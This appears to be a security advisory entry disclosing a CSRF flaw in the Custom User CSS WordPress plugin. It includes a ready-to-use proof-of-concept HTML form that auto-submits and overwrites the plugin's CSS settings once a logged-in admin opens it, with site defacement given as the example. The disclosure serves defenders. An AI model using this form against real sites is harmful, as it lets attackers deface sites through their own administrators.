Custom User CSS <= 0.2 - Settings Update via CSRF

2024-01-0300:00:00

Daniel Ruf

html

csrf

admin

exploit

overwritten css

defacement

security

AI Score

6.7

Confidence

Low

EPSS

0.001

Percentile

32.5%

JSON

Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.

Create an HTML form with the following content and make a logged in admin open it

<form action="https://example.com/wp-admin/themes.php?page=custom-user-css/custom_user_css.php" method="POST">
    <input type="text" name="custom_user_css_css" value="overwritten css, for example for defacement">
    <input type="text" name="action" value="update">
    <input type="text" name="page_options" value="custom_user_css_css">
</form>
<script>
    document.forms[0].submit();
</script>

References

magos-securitas.com/txt/CVE-2023-6391.txt